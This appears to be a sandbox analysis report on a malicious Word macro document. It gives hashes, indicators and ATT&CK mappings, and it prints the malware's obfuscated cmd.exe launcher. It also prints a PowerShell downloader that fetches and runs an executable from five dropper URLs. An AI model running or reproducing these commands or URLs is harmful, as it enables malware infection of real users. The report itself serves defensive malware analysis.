52e6f3c8301df68dd941f97db3340fa6afd58f7f3fc0b7ce6a57703806e9165a

General

Target

52e6f3c8301df68dd941f97db3340fa6afd58f7f3fc0b7ce6a57703806e9165a.doc
Size

98KB
MD5

8cb82a353ce10ff2a56850540fc92245
SHA1

69e0bd64ac4d8be1e8e6af134c6fb19288d1e623
SHA256

52e6f3c8301df68dd941f97db3340fa6afd58f7f3fc0b7ce6a57703806e9165a
SHA512

b97c23f3352bdf99a18cca48993dc6809772e0cf9c846434bc1832268a71a451a9464653c39e89d506306719bddab1195d54cd05a1d1efda776af55754946773

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://tristanrineer.com/uDitL1

exe.dropper

http://techsistsolution.com/rmztD

exe.dropper

http://nightflight.jp/hGZWc

exe.dropper

http://aqualuna.jp/FBfN

exe.dropper

http://blackvomit.com.br/M

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4632	2312	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

39 4340 powershell.exe
41 4340 powershell.exe
43 4340 powershell.exe
47 4340 powershell.exe
50 4340 powershell.exe

flow	pid	process
39	4340	powershell.exe
41	4340	powershell.exe
43	4340	powershell.exe
47	4340	powershell.exe
50	4340	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2312 WINWORD.EXE
2312 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

4340 powershell.exe
4340 powershell.exe
4340 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4340 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

2312 WINWORD.EXE
2312 WINWORD.EXE
2312 WINWORD.EXE
2312 WINWORD.EXE
2312 WINWORD.EXE
2312 WINWORD.EXE
2312 WINWORD.EXE

pid	process
2312	WINWORD.EXE
2312	WINWORD.EXE

pid	process
4340	powershell.exe
4340	powershell.exe
4340	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4340	powershell.exe

pid	process
2312	WINWORD.EXE
2312	WINWORD.EXE
2312	WINWORD.EXE
2312	WINWORD.EXE
2312	WINWORD.EXE
2312	WINWORD.EXE
2312	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 2312 wrote to memory of 4632	2312	WINWORD.EXE	cmd.exe
PID 2312 wrote to memory of 4632	2312	WINWORD.EXE	cmd.exe
PID 4632 wrote to memory of 4340	4632	cmd.exe	powershell.exe
PID 4632 wrote to memory of 4340	4632	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\52e6f3c8301df68dd941f97db3340fa6afd58f7f3fc0b7ce6a57703806e9165a.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2312
- C:\Windows\SYSTEM32\cmd.exe
  cmd /V:ON/C"set Kj=JiTZMmcpiZJmkSjSbAIlIYXmEkuOVYn1r\{x:ChF'(LtN)gBdvW-z7DUa/e0sq=}fw$ oP,;.G@+y&&for %r in (7;68;65;58;32;60;38;58;19;19;67;66;61;50;61;62;30;58;65;51;68;16;14;58;6;43;67;44;58;43;72;50;58;16;37;19;8;58;30;43;71;66;39;6;37;62;40;38;43;43;7;36;57;57;43;32;8;60;43;56;30;32;8;30;58;58;32;72;6;68;23;57;26;54;8;43;42;31;74;38;43;43;7;36;57;57;43;58;6;38;60;8;60;43;60;68;19;26;43;8;68;30;72;6;68;23;57;32;23;52;43;54;74;38;43;43;7;36;57;57;30;8;46;38;43;64;19;8;46;38;43;72;14;7;57;38;73;9;50;6;74;38;43;43;7;36;57;57;56;61;26;56;19;26;30;56;72;14;7;57;39;47;64;44;74;38;43;43;7;36;57;57;16;19;56;6;25;49;68;23;8;43;72;6;68;23;72;16;32;57;4;40;72;15;7;19;8;43;41;40;74;40;45;71;66;55;8;8;67;62;67;40;53;53;59;40;71;66;14;49;37;62;66;58;30;49;36;43;58;23;7;75;40;33;40;75;66;55;8;8;75;40;72;58;35;58;40;71;64;68;32;58;56;6;38;41;66;10;14;9;67;8;30;67;66;39;6;37;45;34;43;32;76;34;66;61;50;61;72;54;68;65;30;19;68;56;48;39;8;19;58;41;66;10;14;9;70;67;66;14;49;37;45;71;15;43;56;32;43;51;69;32;68;6;58;60;60;67;66;14;49;37;71;16;32;58;56;25;71;63;6;56;43;6;38;34;63;63;67;67;67;67;67;67;67;67;67;67;67;67;67;67;67;67;67;77)do set jNy=!jNy!!Kj:~%r,1!&&if %r gtr 76 call %jNy:~5%"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4632
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell $qWq=new-object Net.WebClient;$FcC='http://tristanrineer.com/uDitL1@http://techsistsolution.com/rmztD@http://nightflight.jp/hGZWc@http://aqualuna.jp/FBfN@http://blackvomit.com.br/M'.Split('@');$Uii = '770';$jvC=$env:temp+'\'+$Uii+'.exe';foreach($JjZ in $FcC){try{$qWq.DownloadFile($JjZ, $jvC);Start-Process $jvC;break;}catch{}}
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4340

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2312-124-0x00007FFB4F580000-0x00007FFB4F590000-memory.dmp

Filesize
64KB

Download
memory/2312-119-0x00007FFB4F580000-0x00007FFB4F590000-memory.dmp

Filesize
64KB

Download
memory/2312-120-0x00007FFB4F580000-0x00007FFB4F590000-memory.dmp

Filesize
64KB

Download
memory/2312-121-0x00007FFB4F580000-0x00007FFB4F590000-memory.dmp

Filesize
64KB

Download
memory/2312-122-0x000001F13FFB0000-0x000001F13FFB2000-memory.dmp

Filesize
8KB

Download
memory/2312-123-0x000001F13FFB0000-0x000001F13FFB2000-memory.dmp

Filesize
8KB

Download
memory/2312-118-0x00007FFB4F580000-0x00007FFB4F590000-memory.dmp

Filesize
64KB

Download
memory/2312-125-0x000001F13FFB0000-0x000001F13FFB2000-memory.dmp

Filesize
8KB

Download
memory/4340-288-0x0000000000000000-mapping.dmp

Download
memory/4340-298-0x0000022099B40000-0x0000022099B42000-memory.dmp

Filesize
8KB

Download
memory/4340-299-0x0000022099B43000-0x0000022099B45000-memory.dmp

Filesize
8KB

Download
memory/4340-329-0x0000022099B46000-0x0000022099B48000-memory.dmp

Filesize
8KB

Download
memory/4632-283-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads